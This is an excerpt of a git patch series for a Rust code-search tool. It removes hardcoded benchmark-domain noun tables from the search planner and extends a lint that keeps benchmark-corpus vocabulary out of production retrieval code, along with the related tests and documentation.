SearchHitOrigin::IndexedSymbol), - orientation_hit("dup-2", "zzShared", "src/two.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit( + "dup-1", + "zzShared", + "src/one.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "dup-2", + "zzShared", + "src/two.ts", + SearchHitOrigin::IndexedSymbol, + ), orientation_hit( "distinct", "zzDistinct", diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 2aa4053ce..8ed9dd312 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -74,7 +74,7 @@ fn run_lint_with_scan_root(repo_root: &Path, script: &Path, scan_root: &Path) -> let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() - .expect("lock lint script subprocess"); + .unwrap_or_else(|poisoned| poisoned.into_inner()); Command::new("node") .arg(script) .current_dir(repo_root) @@ -116,7 +116,7 @@ fn run_lint_with_prompt_script_fixture(contents: &str) -> Output { let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() - .expect("lock lint script subprocess"); + .unwrap_or_else(|poisoned| poisoned.into_inner()); Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -151,7 +151,7 @@ fn run_lint_with_non_rust_fixtures(fixtures: &[(&str, &str)]) -> Output { let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() - .expect("lock lint script subprocess"); + .unwrap_or_else(|poisoned| poisoned.into_inner()); Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -176,7 +176,7 @@ fn retrieval_generalization_lint_script_exits_clean_with_extra_fixture_root() { let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() - .expect("lock lint script subprocess"); + .unwrap_or_else(|poisoned| poisoned.into_inner()); let output = Command::new("node") .arg(&script) .current_dir(&repo_root) From 5ef74a5da3782b0cc46f3cdf93dfe5afe7fda7e6 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 04:20:03 -0500 Subject: [PATCH 015/132] delete the domain noun tables the planner still consulted Two vocabulary tables survived the term-extraction deletion and did the same job one file over. `repo_text_line_identifiers` treated a lowercase repo-text token as a symbol name when it matched "auth", "feed", "posts", "storage", "indexer", "service", "trail", or "snippet" -- eight nouns from the four holdout domains -- and `search_plan_eligible` kept a broad plan alive when a question hit three words from an eighteen-word architecture list. Both decided what a question or a file was about from a table written against known repositories, so both could only help those repositories. Repo-text candidates are now every token the window contains, minus language-level filler; the callers already answer them against the symbols the repository indexed in that same file, which also admits the lowercase single-word names Go, C, and Python declare and the old shape filter dropped. Plan eligibility now asks whether the question names an identifier at all: a flow question written entirely in prose got its exact hits from words the asker used as prose, so exact-first ranking answers a question nobody asked, while a question that spells run_index or RuntimeContext::ensure_open_from_summary is answered by exactly those hits. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/search_plan.rs | 77 ++++++++------- .../src/tests/search_plan.rs | 93 +++++++++++++++++++ 2 files changed, 130 insertions(+), 40 deletions(-) diff --git a/crates/codestory-runtime/src/search_plan.rs b/crates/codestory-runtime/src/search_plan.rs index 624267818..a9e9c730d 100644 --- a/crates/codestory-runtime/src/search_plan.rs +++ b/crates/codestory-runtime/src/search_plan.rs @@ -25,7 +25,8 @@ use crate::search_scoring::{ use crate::search_terms::{ SEARCH_PLAN_BASE_SOURCE_TRUTH_CHECKS, SEARCH_PLAN_EXPLICIT_ANCHOR_MARKER, SEARCH_PLAN_MAX_SEED_ANCHORS, SEARCH_PLAN_OPTIONAL_SUBQUERY_LIMIT, - SEARCH_PLAN_REPO_TEXT_SOURCE_TRUTH_CHECK, SEARCH_PLAN_SEED_ANCHOR_MARKER, search_plan_terms, + SEARCH_PLAN_REPO_TEXT_SOURCE_TRUTH_CHECK, SEARCH_PLAN_SEED_ANCHOR_MARKER, + SEARCH_PLAN_STOPWORDS, search_plan_terms, }; fn is_low_confidence_search_plan_bridge(bridge: &SearchPlanBridgeDto) -> bool { @@ -58,14 +59,20 @@ pub(super) fn search_plan_eligible( ) -> bool { let broad_query = looks_like_repo_text_query(query) || query.split_whitespace().count() >= 4; let has_seed_anchors = query.contains(SEARCH_PLAN_SEED_ANCHOR_MARKER); - let broad_explanation_prompt = - search_plan_broad_explanation_prompt_with_architecture_terms(query); !intents.is_empty() && broad_query - && (exact_symbol_hit_count == 0 || has_seed_anchors || broad_explanation_prompt) + && (exact_symbol_hit_count == 0 + || has_seed_anchors + || search_plan_prose_flow_prompt(query)) } -pub(super) fn search_plan_broad_explanation_prompt_with_architecture_terms(query: &str) -> bool { +/// A flow question that names no identifier of its own: every exact symbol hit +/// it produced came from a word the asker used as prose, so exact-first ranking +/// answers a question nobody asked. Asking whether the question names an +/// identifier is a property of the question; the alternative is a table of +/// architecture nouns, and such a table can only recognise the repositories it +/// was written against. +pub(super) fn search_plan_prose_flow_prompt(query: &str) -> bool { let lower = query.to_ascii_lowercase(); let asks_for_flow = lower.contains("explain how") || lower.contains("trace how") @@ -74,34 +81,21 @@ pub(super) fn search_plan_broad_explanation_prompt_with_architecture_terms(query if !asks_for_flow { return false; } - let tokens = lower - .split(|ch: char| !ch.is_ascii_alphanumeric()) - .filter(|token| !token.is_empty()) - .collect::>(); - [ - "cli", - "command", - "runtime", - "workspace", - "indexer", - "indexing", - "store", - "storage", - "persistence", - "snapshot", - "search", - "trail", - "snippet", - "configuration", - "source", - "activation", - "host", - "execution", - ] - .iter() - .filter(|term| tokens.contains(**term)) - .count() - >= 3 + if query.split_whitespace().any(query_word_names_identifier) { + return false; + } + search_plan_terms(query).extracted.len() >= 3 +} + +fn query_word_names_identifier(word: &str) -> bool { + let trimmed = + word.trim_matches(|ch: char| !(ch.is_ascii_alphanumeric() || ch == '_' || ch == ':')); + trimmed.contains("::") + || trimmed.contains('_') + || trimmed + .chars() + .zip(trimmed.chars().skip(1)) + .any(|(previous, next)| previous.is_ascii_lowercase() && next.is_ascii_uppercase()) } pub(super) fn search_plan_subqueries( @@ -507,17 +501,20 @@ pub(super) fn repo_text_line_identifiers(hit: &SearchHit) -> Vec { .join("\n"); let mut identifiers = Vec::new(); let mut seen = HashSet::new(); + // Every candidate is answered by the repository: callers keep only the ones + // that match a symbol indexed in this same file. Pre-filtering to + // camel/snake shapes would drop the lowercase single-word names that Go, C, + // and Python declare, and the noun list that used to rescue them named the + // domains of four repositories instead of any repository's own symbols. for token in window.split(|ch: char| !(ch.is_ascii_alphanumeric() || ch == '_')) { if token.len() < 3 { continue; } - let looks_symbolic = token.chars().any(|ch| ch.is_ascii_uppercase()) - || token.contains('_') - || matches!( - token, - "auth" | "feed" | "posts" | "storage" | "indexer" | "service" | "trail" | "snippet" - ); - if looks_symbolic && seen.insert(token.to_ascii_lowercase()) { + let lower = token.to_ascii_lowercase(); + if SEARCH_PLAN_STOPWORDS.contains(&lower.as_str()) { + continue; + } + if seen.insert(lower) { identifiers.push(token.to_string()); } } diff --git a/crates/codestory-runtime/src/tests/search_plan.rs b/crates/codestory-runtime/src/tests/search_plan.rs index 1eff2e6aa..37190d6c1 100644 --- a/crates/codestory-runtime/src/tests/search_plan.rs +++ b/crates/codestory-runtime/src/tests/search_plan.rs @@ -219,6 +219,99 @@ fn broad_explain_how_search_plan_survives_generic_exact_hits() { ); } +#[test] +fn prose_flow_questions_survive_exact_hits_whatever_domain_they_ask_about() { + for query in [ + "Explain how a checkout moves from the storefront into payment capture, ledger posting, and receipt delivery.", + "Explain how a full indexing run moves from the CLI into runtime orchestration, file discovery, symbol extraction, persistence, and search or snapshot refresh.", + "Explain how a lab sample moves from intake through the assay queue into reported results.", + ] { + let intents = architecture_query_intents(query) + .into_iter() + .map(|intent| intent.label().to_string()) + .collect::>(); + assert!( + !intents.is_empty(), + "explain-how question should have architecture intent: `{query}`" + ); + assert!( + search_plan_eligible(query, 7, &intents), + "a question that names no identifier should keep its plan whatever it asks about: `{query}`" + ); + } +} + +#[test] +fn questions_that_name_an_identifier_stay_exact_first() { + for query in [ + "Explain how run_index moves work through the runtime.", + "Explain how RuntimeContext::ensure_open_from_summary opens a stored snapshot.", + "Explain how WorkspaceIndexer moves files into the store.", + ] { + let intents = architecture_query_intents(query) + .into_iter() + .map(|intent| intent.label().to_string()) + .collect::>(); + assert!( + !intents.is_empty(), + "explain-how question should have architecture intent: `{query}`" + ); + assert!( + !search_plan_eligible(query, 2, &intents), + "the asker named this symbol, so its exact hits answer the question: `{query}`" + ); + } +} + +#[test] +fn repo_text_identifiers_come_from_the_file_rather_than_a_noun_list() { + let temp = tempdir().expect("create temp dir"); + let source_path = temp.path().join("src").join("queue.go"); + fs::create_dir_all(source_path.parent().expect("src parent")).expect("create src"); + fs::write( + &source_path, + "package queue\n\nfunc dispatch() {}\n\n\n\n// dispatch hands the job to the next worker\n", + ) + .expect("write source"); + let symbol_hit = search_plan_test_hit( + "symbol", + "dispatch", + &source_path, + 3, + SearchHitOrigin::IndexedSymbol, + false, + ); + let repo_hit = search_plan_test_hit( + "repo", + "src/queue.go:7", + &source_path, + 7, + SearchHitOrigin::TextMatch, + false, + ); + let query = "how does a job reach the next worker"; + let terms = search_plan_terms(query); + + let groups = search_plan_anchor_groups( + query, + &terms, + &[], + &[repo_hit], + &[symbol_hit], + &HashMap::new(), + ); + + assert!( + groups.iter().any(|group| { + group + .chosen_symbol + .as_ref() + .is_some_and(|hit| hit.display_name == "dispatch") + }), + "a lowercase symbol named by the file's own text should still bind: {groups:#?}" + ); +} + #[test] fn search_plan_preserves_seed_anchor_line_exactly() { let query = "Explain how a full indexing run moves through the runtime. Seed anchors: run_index, run_index_once, RuntimeContext::ensure_open_from_summary, IndexService::run_indexing_blocking, AppController::run_indexing_blocking_inner, index_incremental, WorkspaceManifest::build_execution_plan, WorkspaceIndexer::run, WorkspaceIndexer::flush_projection_batch"; From f5d2f21612d17669b23ec51e741040660ae6ca09 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 04:20:20 -0500 Subject: [PATCH 016/132] derive the generalization lint's exclusions from the product's own code The derived ban was gated by a hand-written escape list, and the list excused sourcegroup, buildindex, indexercommand, eventprocessor, foreignkey, formatto and internalmutate -- the audited injection symbols themselves. A hand-kept exclusion is the same defect as a hand-kept ban: it left the guard inert against the very deletion this lane exists for, so the sourcetrail, codex and payload term blocks could all be pasted back with CI green. Exclusions are now read out of the tree like the bans are. A repository's owner segment names a hosting account rather than a corpus, so only the repository segment is identity and an Apache licence header no longer fails CI. A single word this product already writes as code in its non-retrieval crates is trade vocabulary -- serialize, subcommand, express -- and is read from those crates' identifiers only, so neither a comment about a Sourcetrail-style format nor a printed message about a Codex host can unlock a ban, and the retrieval and packet surfaces under suspicion cannot vouch for their own words. Some injections are tables of ordinary nouns that no per-word ban can catch, so term extraction is checked structurally too: a run of bare word literals outside the language-level stopword list is a repository's domain written into this crate. Search planning joins the scanned files, because the injection could otherwise move one file over and be invisible again. The pending inventory now records how many production lines each marker occupies, so adding steering to a listed file fails as loudly as adding it to a clean one, and the entry has to be corrected or deleted either way. It grew from 144 to 175 entries because the derived exclusions stopped hiding surfaces the escape list stepped around; every one of them belongs to another lane's deletion. The probe test that proves a new task manifest extends the ban now writes its manifest into a task root of its own. The lint reads extra task roots additively, so the probe no longer plants a file in the checked-in corpus that concurrent runs -- inside the suite or outside it -- derive their bans from. Co-Authored-By: Claude Opus 5 --- .../tests/retrieval_generalization_guard.rs | 216 ++++++++-- docs/testing/performance-review-playbook.md | 20 +- scripts/lint-retrieval-generalization.mjs | 338 ++++++++++++---- scripts/retrieval-generalization-pending.json | 369 ++++++++++-------- 4 files changed, 663 insertions(+), 280 deletions(-) diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index c4ce0a353..e1e7266a6 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -632,11 +632,14 @@ fn linter_binds_policy_allowances_to_the_exact_approved_use() { #[test] fn linter_fails_closed_when_one_prompt_corpus_entry_is_not_a_literal() { + // The repository keys have to be words this product never writes, or the + // corpus coverage check fails first and hides the parser drift under a + // different error. let output = run_lint_with_prompt_script_fixture( r#" const PUBLIC_REPOS = { - first: { prompt: "first benchmark prompt remains a static literal for the guard" }, - second: { prompt: buildPromptAtRuntime() }, + alphaprobe: { prompt: "first benchmark prompt remains a static literal for the guard" }, + betaprobe: { prompt: buildPromptAtRuntime() }, }; const ALL_REPOS = { ...PUBLIC_REPOS }; "#, @@ -812,23 +815,19 @@ fn linter_scans_production_files_with_diagnostic_or_test_like_names() { } } -/// Removes a probe manifest from the checked-in corpus even if the test panics. -struct ProbeManifest { - path: PathBuf, -} - -impl ProbeManifest { - fn write(repo_root: &Path, symbol: &str) -> Self { - let path = repo_root.join("benchmarks/tasks/generalization-lint-probe.task.json"); - let manifest = format!( - r#"{{ +/// Writes one task manifest into a corpus root of its own. The lint reads extra +/// task roots additively, so the probe never touches the checked-in corpus that +/// every other run -- and every concurrent test -- derives its bans from. +fn probe_task_manifest(symbol: &str) -> String { + format!( + r#"{{ "id": "generalization-lint-probe", "version": 1, "suite": "public-core", "task_class": "architecture_explanation", "repo": {{ "name": "generalization-lint-probe-repo", - "url": "https://github.com/example/generalization-lint-probe.git", + "url": "https://github.com/generalization-probe-owner/generalization-lint-probe.git", "ref": "{ref_sha}" }}, "prompt": "Explain how the probe repository moves a request into its own storage layer.", @@ -848,32 +847,56 @@ impl ProbeManifest { }} }} "#, - ref_sha = "0".repeat(40), - symbol = symbol, - ); - std::fs::write(&path, manifest).expect("write probe manifest"); - Self { path } - } + ref_sha = "0".repeat(40), + symbol = symbol, + ) } -impl Drop for ProbeManifest { - fn drop(&mut self) { - let _ = std::fs::remove_file(&self.path); +fn run_lint_with_fixture_and_task_root(contents: &str, task_root: Option<&Path>) -> Output { + let repo_root = workspace_root(); + let script = lint_script(&repo_root); + let fixture_root = TempDir::new().expect("create fixture root"); + std::fs::write(fixture_root.path().join("fixture.rs"), contents).expect("write fixture"); + + let _guard = LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .expect("lock lint script subprocess"); + let mut command = Command::new("node"); + command + .arg(&script) + .current_dir(&repo_root) + .env( + "CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS", + fixture_root.path(), + ); + if let Some(task_root) = task_root { + command.env( + "CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_TASK_ROOTS", + task_root, + ); } + command.output().expect("run lint with probe task root") } #[test] fn adding_a_benchmark_task_bans_its_symbols_without_editing_the_lint() { let fixture = r#"pub const PLANTED: &str = "GeneralizationProbeAnchor";"#; - let before = run_lint_with_fixture(fixture); + let before = run_lint_with_fixture_and_task_root(fixture, None); assert!( before.status.success(), "the probe symbol should be unknown before its task manifest exists, stderr={}", String::from_utf8_lossy(&before.stderr) ); - let _manifest = ProbeManifest::write(&workspace_root(), "GeneralizationProbeAnchor"); - let after = run_lint_with_fixture(fixture); + let task_root = TempDir::new().expect("create probe task root"); + std::fs::write( + task_root.path().join("generalization-lint-probe.task.json"), + probe_task_manifest("GeneralizationProbeAnchor"), + ) + .expect("write probe manifest"); + + let after = run_lint_with_fixture_and_task_root(fixture, Some(task_root.path())); let stderr = String::from_utf8_lossy(&after.stderr); assert!( !after.status.success(), @@ -885,6 +908,41 @@ fn adding_a_benchmark_task_bans_its_symbols_without_editing_the_lint() { ); } +#[test] +fn a_probe_task_root_never_writes_into_the_checked_in_corpus() { + let corpus = workspace_root().join("benchmarks/tasks"); + let before = corpus_manifest_names(&corpus); + let task_root = TempDir::new().expect("create probe task root"); + std::fs::write( + task_root.path().join("generalization-lint-probe.task.json"), + probe_task_manifest("GeneralizationProbeAnchor"), + ) + .expect("write probe manifest"); + let output = run_lint_with_fixture_and_task_root( + r#"pub const PLANTED: &str = "GeneralizationProbeAnchor";"#, + Some(task_root.path()), + ); + assert!( + !output.status.success(), + "the probe manifest should have extended the ban, stderr={}", + String::from_utf8_lossy(&output.stderr) + ); + assert_eq!( + before, + corpus_manifest_names(&corpus), + "the checked-in corpus must be untouched by a lint probe" + ); +} + +fn corpus_manifest_names(corpus: &Path) -> Vec { + let mut names = std::fs::read_dir(corpus) + .expect("read benchmark task corpus") + .map(|entry| entry.expect("corpus entry").file_name().to_string_lossy().into_owned()) + .collect::>(); + names.sort(); + names +} + #[test] fn linter_bans_holdout_repository_names_on_identifier_boundaries() { let leaked = run_lint_with_fixture(r#"pub const PLANTED: &str = "swr cache key";"#); @@ -905,3 +963,111 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { String::from_utf8_lossy(&unrelated.stderr) ); } + +#[test] +fn linter_bans_the_audited_injection_symbols_wherever_they_regrow() { + for symbol in [ + "SourceGroup", + "BuildIndex", + "IndexerCommand", + "EventProcessor", + ] { + let output = run_lint_with_fixture(&format!( + r#"pub fn planted_term() -> &'static str {{ "{symbol}" }}"# + )); + let stderr = String::from_utf8_lossy(&output.stderr); + assert!( + !output.status.success(), + "the deleted injection symbol `{symbol}` must fail lint wherever it regrows, stderr={stderr}" + ); + } +} + +#[test] +fn linter_leaves_words_this_product_writes_in_its_own_code() { + let output = run_lint_with_fixture( + r#"use serde::Serialize; + +#[derive(Serialize)] +pub struct SubcommandStorage { + pub subcommand: String, + pub storage: String, +} + +pub fn serialize_subcommand(value: &SubcommandStorage) -> String { + serde_json::to_string(value).unwrap_or_default() +} +"#, + ); + assert!( + output.status.success(), + "words the product's own upstream crates write must stay usable, stderr={}", + String::from_utf8_lossy(&output.stderr) + ); +} + +#[test] +fn linter_does_not_ban_the_hosting_account_a_corpus_lives_under() { + let output = run_lint_with_fixture( + r#"//! Licensed under the Apache License, Version 2.0. + +pub fn licence_notice() -> &'static str { + "apache square gorilla pallets" +} +"#, + ); + assert!( + output.status.success(), + "an owner segment names a hosting account, not a corpus, stderr={}", + String::from_utf8_lossy(&output.stderr) + ); +} + +#[test] +fn linter_rejects_a_word_table_in_term_extraction() { + let planted = run_lint_with_named_fixtures(&[( + "search_terms.rs", + r#"pub const PLANTED_SYMBOL_TERMS: &[&str] = &[ + "indexer", + "service", + "storage", + "store", + "posts", + "feed", + "auth", + "trail", +]; +"#, + )]); + let stderr = String::from_utf8_lossy(&planted.stderr); + assert!( + !planted.status.success(), + "a domain word table in term extraction must fail lint, stderr={stderr}" + ); + assert!( + stderr.contains("Term vocabulary table"), + "lint should name the vocabulary table it found, stderr={stderr}" + ); + + let stopwords = run_lint_with_named_fixtures(&[( + "search_terms.rs", + r#"pub const SEARCH_PLAN_STOPWORDS: &[&str] = &[ + "and", + "explain", + "from", + "how", + "into", + "show", + "then", + "with", +]; + +pub const REASON: &str = "natural_language_filler"; +"#, + )]); + assert!( + stopwords.status.success(), + "the language-level stopword list is not a repository's vocabulary, stderr={}", + String::from_utf8_lossy(&stopwords.stderr) + ); +} diff --git a/docs/testing/performance-review-playbook.md b/docs/testing/performance-review-playbook.md index a52dbbd19..a90cb2733 100644 --- a/docs/testing/performance-review-playbook.md +++ b/docs/testing/performance-review-playbook.md @@ -284,11 +284,21 @@ The banned corpus vocabulary is derived, not curated: repository names, task ids, expected symbols, expected file paths, prompts, claims, and fixture file names are read out of `benchmarks/tasks/**` and the benchmark harness repositories on every run, so a new task manifest extends the ban without a -lint edit. Benchmark-family surfaces that already exist in agent packet code are -listed in `scripts/retrieval-generalization-pending.json` and reported on every -run; the lint fails on any banned marker outside that inventory, and fails again -when a listed entry stops matching, so deleting such a surface must delete its -entry. +lint edit. The exclusions are derived too. A repository's owner segment names a +hosting account rather than a corpus, so only the repository segment is +identity; and a single word this product already writes as code in its +non-retrieval crates is trade vocabulary rather than corpus identity, read from +those crates' identifiers alone, so neither a comment nor a printed message can +unlock a ban. Term extraction is additionally checked for word tables: a run of +bare word literals outside the language-level stopword list is the injection +shape the v0.16.1 audit found, and no per-word ban can catch it. + +Benchmark-family surfaces that already exist in agent packet code are listed in +`scripts/retrieval-generalization-pending.json` with the number of production +lines each marker occupies, and are reported on every run. The lint fails on any +banned marker outside that inventory, on one more occurrence of a marker inside +it, and on any listed entry that stops matching, so both growing and deleting +such a surface must edit the inventory. The inventory is executable rather than documentation-only. Supported text and configuration files under `scripts/`, `.github/scripts/`, diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index dac8a5f19..a85edde5f 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -201,66 +201,39 @@ const productIdentityTokens = new Set( .map((token) => token.toLowerCase()), ); -// Corpus repositories whose name is also ordinary code vocabulary. Banning the -// bare token would flag `std::fmt` or an HTTP mention, so these repositories -// stay covered by their file, symbol, and prompt markers instead. Everything -// here must be a word production code is expected to use on its own terms. -const genericIdentityTokens = new Set([ - "fmt", - "http", - "requests", -]); - -// Corpus markers that are ordinary vocabulary once normalised. Same rule as -// above: production code owns these words, so a corpus that happens to contain -// one stays covered by its other markers. -const genericBenchmarkMarkers = new Set([ - "codestory", - "request", - "requests", - "response", - "responses", - "dispatch", - "router", - "routepath", - "approute", - "comments", - "indexfile", - "runindex", - "buildindex", - "servicesrs", - "sourcegroup", - "indexercommand", - "subcommand", - "eventprocessor", - "jsonoutput", - "jsonlevent", - "schema", - "source", - "storage", - "indexing", - "configuration", - "validation", - "serialize", - "serializes", - "serialized", - "serialization", - "foreignkey", - "references", - "formatto", - "formaterror", - "formaterrorcode", - "formatwindowserror", - "internalmutate", -]); +// Words this product already writes in the layers that never see a query. A +// corpus that happens to share one of them -- `fmt`, `serialize`, `subcommand` +// -- stays covered by its other markers, because banning a word the product +// uses on its own terms would only teach people to spell around the ban. +// Reading the vocabulary out of those layers keeps the exclusion derived: it +// cannot be widened by hand to excuse a corpus symbol somebody wants to keep +// writing, and the retrieval and packet surfaces this lint guards are not in it, +// so steering code cannot vouch for its own words. +const productVocabularyRoots = [ + path.join(repoRoot, "crates", "codestory-contracts", "src"), + path.join(repoRoot, "crates", "codestory-workspace", "src"), + path.join(repoRoot, "crates", "codestory-store", "src"), + path.join(repoRoot, "crates", "codestory-indexer", "src"), + path.join(repoRoot, "crates", "codestory-cli", "src"), +]; // Search-plan term extraction is where holdout symbol injection lived before -// the v0.16.1 audit, so it is scanned by name even though the search modules -// around it are not yet under the corpus scan. +// the v0.16.1 audit, and the planner beside it consumes those terms, so both are +// scanned by name even though the search modules around them are not yet under +// the corpus scan. const requiredProductionOnlyFiles = [ + path.join(repoRoot, "crates", "codestory-runtime", "src", "search_plan.rs"), path.join(repoRoot, "crates", "codestory-runtime", "src", "search_terms.rs"), ]; +// Term extraction decides which words become queries, so a word table there is +// the injection this lint exists to catch. The language-level stopword list is +// the one table that cannot encode a repository: it names question filler. +const vocabularyTableFileNames = new Set(["search_terms.rs"]); +const vocabularyTableExemptConstants = ["SEARCH_PLAN_STOPWORDS"]; +const vocabularyTableWindowLines = 40; +const vocabularyTableLiteralFloor = 5; + const usesDefaultScanRoots = explicitScanRoots.length === 0; const missingRequiredPaths = usesDefaultScanRoots ? [...requiredScanDirs, ...requiredProductionOnlyFiles] @@ -304,6 +277,15 @@ const benchmarkPromptScriptFiles = [ }, ]; const benchmarkTaskRoot = path.join(repoRoot, "benchmarks", "tasks"); +// Additive only: an extra root can add a task's markers, never drop the checked-in +// corpus. A test proving that a new task extends the ban therefore never writes +// into the corpus every other run reads. +const benchmarkTaskRoots = [ + benchmarkTaskRoot, + ...(process.env.CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_TASK_ROOTS ?? "") + .split(path.delimiter) + .filter((root) => root && existsSync(root)), +]; const pendingSurfacePath = path.join(repoRoot, "scripts", "retrieval-generalization-pending.json"); const benchmarkEvalProbeManifestPath = path.join(benchmarkTaskRoot, "eval-probes.json"); const benchmarkEvalProbeSourcePath = path.join( @@ -354,6 +336,8 @@ const corpusHarnessCompactPatternList = compactBoundaryPatterns( corpusHarnessDependencyPatternList, ); +const productVocabulary = readProductVocabulary(); + // Every banned corpus token is read out of the checked-in benchmark surfaces, // so adding a task manifest extends the ban with that task's repository, // symbols, and files instead of waiting for someone to remember this file. @@ -448,7 +432,7 @@ function benchmarkCorpusCompactPatterns() { // `useSWR` rejoins from "use" and "SWR"; the compact scan needs the short // identifiers too, and it compares whole literals so it can afford them. const floor = identifierShapedMarker(marker) ? 6 : 8; - if (normalized.length >= floor && !genericBenchmarkMarkers.has(normalized)) { + if (normalized.length >= floor) { compact.add(normalized); } } @@ -502,9 +486,8 @@ function benchmarkManifestMarkerRecords() { if (!existsSync(benchmarkTaskRoot)) { throw new Error(`benchmark task root is missing: ${benchmarkTaskRoot}`); } - const manifestFiles = walkFiles( - benchmarkTaskRoot, - (candidate) => candidate.endsWith(".task.json"), + const manifestFiles = benchmarkTaskRoots.flatMap((root) => + walkFiles(root, (candidate) => candidate.endsWith(".task.json")) ); if (manifestFiles.length === 0) { throw new Error(`benchmark task root has no .task.json manifests: ${benchmarkTaskRoot}`); @@ -602,9 +585,11 @@ function benchmarkScriptRepoMarkerRecords() { // Fixture file names identify their corpus repository even when the fixture // carries no manifest fields at all. function benchmarkFixtureNameMarkerRecords() { - const fixtures = walkFiles( - benchmarkTaskRoot, - (candidate) => candidate.endsWith(".json") && !candidate.endsWith(".schema.json"), + const fixtures = benchmarkTaskRoots.flatMap((root) => + walkFiles( + root, + (candidate) => candidate.endsWith(".json") && !candidate.endsWith(".schema.json"), + ) ); if (fixtures.length === 0) { throw new Error(`benchmark task root has no corpus fixtures: ${benchmarkTaskRoot}`); @@ -632,6 +617,10 @@ function benchmarkRepoIsProduct(repo) { .some((value) => productIdentityTokens.has(value.split("/").pop().toLowerCase())); } +// An `owner/repo` slug identifies the corpus whole, but the owner segment alone +// names a hosting account: banning `apache` or `square` on its own would fail an +// Apache licence header rather than a corpus dependency. Only the repository +// segment is corpus identity. function repoIdentityMarkers(repo) { const markers = []; const slugs = repoUrlSlugs(repo?.url); @@ -641,9 +630,7 @@ function repoIdentityMarkers(repo) { } if (value.includes("/")) { markers.push({ marker: value, options: { allowSpecificComposite: true } }); - for (const part of value.split("/")) { - markers.push({ kind: "identity", marker: part }); - } + markers.push({ kind: "identity", marker: value.split("/").pop() }); continue; } markers.push({ kind: "identity", marker: value }); @@ -1009,7 +996,7 @@ function addIdentityMarker(markers, value) { token.length < 3 || !/^[a-z0-9][a-z0-9._-]*$/.test(token) || productIdentityTokens.has(token) - || genericIdentityTokens.has(token) + || productVocabulary.has(token) ) { return false; } @@ -1031,10 +1018,88 @@ function benchmarkMarkerTooGeneric(marker, options = {}) { const normalized = marker.toLowerCase().replace(/[^a-z0-9]+/g, ""); return ( normalized.length < markerLengthFloor(marker, options) - || genericBenchmarkMarkers.has(normalized) + || markerIsProductVocabulary(marker) ); } +// One plain word that this product already writes elsewhere is vocabulary, not +// identity: `serialize` and `subcommand` belong to the trade. A marker that +// joins two words -- `SourceGroup`, `event_processor`, `FOREIGN KEY`, +// `buildIndex` -- was somebody's symbol before it was anybody's vocabulary, and +// a single word the product never uses -- `novalidate`, `exthostcommands` -- +// only ever arrived from a corpus. Neither is excused. +function markerIsProductVocabulary(marker) { + const trimmed = marker.trim(); + return ( + /^[A-Za-z][a-z0-9]*$/.test(trimmed) + && productVocabulary.has(trimmed.toLowerCase()) + ); +} + +// Identifiers only. A word the product merely mentions -- in prose ("mirrors +// the Sourcetrail-style database format") or in a string it prints ("Restart the +// Codex host") -- is not a word the product's code is built from, and excusing +// corpus names on the strength of a comment or a message would let either one +// unlock a ban. +function readProductVocabulary() { + const words = new Set(); + for (const root of productVocabularyRoots) { + if (!existsSync(root)) { + throw new Error(`product vocabulary root is missing: ${root}`); + } + const files = walkFiles( + root, + (candidate) => candidate.endsWith(".rs") && !isExcludedRustFile(candidate), + ); + for (const filePath of files) { + const code = rustIdentifierSource(productionSource(filePath)); + for (const token of code.split(/[^A-Za-z0-9]+/)) { + if (token.length >= 3) { + words.add(token.toLowerCase()); + } + } + } + } + if (words.size === 0) { + throw new Error("product vocabulary roots produced no words"); + } + return words; +} + +function rustIdentifierSource(text) { + let code = ""; + let index = 0; + while (index < text.length) { + const character = text[index]; + if (character === "/" && text[index + 1] === "/") { + index = endOfLine(text, index); + code += "\n"; + continue; + } + if (character === "/" && text[index + 1] === "*") { + index = rustBlockCommentEnd(text, index + 2); + code += " "; + continue; + } + if (character === "r" || character === "b") { + const rawEnd = rustRawStringEnd(text, index); + if (rawEnd !== null) { + index = rawEnd; + code += " "; + continue; + } + } + if (character === '"') { + index = rustStringEnd(text, index + 1, '"'); + code += " "; + continue; + } + code += character; + index += 1; + } + return code; +} + function escapeRegExp(value) { return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } @@ -2082,9 +2147,11 @@ function isEvalOnlyProductionFile(filePath) { return evalOnlyProductionFiles.has(path.resolve(filePath)); } -// The inventory records benchmark-family surfaces that already exist; it never -// grants a file blanket cover, and an entry that stops matching is an error, so -// deleting a surface has to delete its entry too. +// The inventory records the benchmark-family surfaces that already exist, down +// to how many lines each marker occupies. It never grants a file blanket cover: +// one more occurrence of a listed marker fails, and an entry that stops matching +// fails, so both adding to a listed surface and deleting one must edit this +// file. function loadPendingSurfaces() { let inventory; try { @@ -2095,22 +2162,33 @@ function loadPendingSurfaces() { } const surfaces = new Map(); for (const [file, markers] of Object.entries(inventory?.surfaces ?? {})) { - if (!Array.isArray(markers) || markers.some((marker) => typeof marker !== "string")) { + const counts = 